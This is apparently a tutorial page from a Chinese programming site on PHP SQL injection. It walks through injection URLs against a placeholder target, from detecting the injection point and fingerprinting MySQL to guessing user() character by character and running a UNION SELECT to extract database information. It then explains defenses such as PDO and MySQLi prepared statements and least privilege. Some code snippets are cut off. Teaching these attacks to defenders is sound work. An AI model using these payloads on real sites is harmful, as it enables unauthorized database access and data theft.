首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

PHP SQL 注入攻擊實戰演示與防禦原理解析

     編輯:PHP 相關知識

SQL 注入攻擊實戰演示與核心防禦原理

本文以真實脆弱代碼為例,演示 SQL 注入從探測到資料提取的完整過程,並深度解析防禦核心原理。僅供安全教學與防禦研究使用,嚴禁對未授權系統測試。

脆弱代碼範例


...

核心問題:$ts_id 直接拼接進 SQL,且未用引號包裹,攻擊者可控制完整 SQL 邏輯。

攻擊演示過程 (盲注/報錯注入)

1. 判斷注入點存在

https://target/004.php?ts_id=1 and 1=1   -- 正常顯示
https://target/004.php?ts_id=1 and 1=2   -- 異常/空白頁面

回應差異確認注入點存在。

2. 判斷資料庫類型

https://target/004.php?ts_id=1/*comment

若正常返回,說明支援 /* */ 註釋語法 → MySQL。

3. 提取資料庫用戶名

https://target/004.php?ts_id=1 and ord(mid(user(),1,1))=114/*
https://target/004.php?ts_id=1 and ord(mid(user(),2,1))=111/*
https://target/004.php?ts_id=1 and ord(mid(user(),3,1))=111/*
https://target/004.php?ts_id=1 and ord(mid(user(),4,1))=116/*

逐字元猜解 user() → root (ASCII: 114,111,111,116)。

4. 判斷欄位數 (ORDER BY 法)

https://target/004.php?ts_id=1 order by 10/*  -- 失敗
https://target/004.php?ts_id=1 order by 7/*   -- 成功

確定查詢有 7 個欄位。

5. 聯合查詢提取資料

https://target/004.php?ts_id=1 and 1=2 union select 1,2,3,4,5,6,7/*

觀察頁面顯示哪個數字,對應該欄位可回顯資料,再替換為 database()、version()、@@datadir 等函數提取敏感資訊。

核心防禦原理:參數化查詢 (Prepared Statements)

根本解決之道:將 SQL 邏輯與資料分離,資料永遠不會被解析為 SQL 指令。

PDO 範例 (推薦)

setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$ts_id = $_GET['ts_id'];
$stmt = $pdo->prepare('SELECT * FROM books WHERE id = ?');
$stmt->execute([$ts_id]);
$book = $stmt->fetch(PDO::FETCH_ASSOC);

MySQLi 範例

prepare('SELECT * FROM books WHERE id = ?');
$stmt->bind_param('i', $_GET['ts_id']);  // 'i' = integer
$stmt->execute();
$result = $stmt->get_result();
$book = $result->fetch_assoc();

為何舊式過濾/轉義不可靠

方法缺陷
mysql_real_escape_string()需正確設定字元集、易忘記呼叫、無法防禦數值型注入 (無引號包裹)
addslashes()不處理字元集、多位元組字元繞過 (GBK 編碼攻擊)
黑名單過濾 (select/union/...)繞過技巧多樣 (大小寫、編碼、註釋、替代函數)、誤傷正常資料
magic_quotes_gpcPHP 5.4 已移除、雙重轉義問題、無法防禦數值型注入

深度防禦清單

  1. 強制參數化查詢 — 全專案禁用字串拼接 SQL
  2. 最小權限資料庫帳號 — 僅 SELECT/INSERT/UPDATE/DELETE,無 DROP/ALTER/FILE 權限
  3. 錯誤訊息不外洩 — display_errors=Off、log_errors=On、自訂錯誤頁面
  4. WAF/輸入驗證 — 作為第二道防線,非主要依賴
  5. 定期代碼審計 — 靜態分析工具 (Psalm, PHPStan, SonarQube) 掃描原始碼

⚠️ 法律與道德提醒:未經書面授權對任何系統進行 SQL 注入測試均屬違法。本文旨在協助開發者理解攻擊原理以建構更安全的應用程式。請將學習重點放在「參數化查詢」等防禦技術上。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved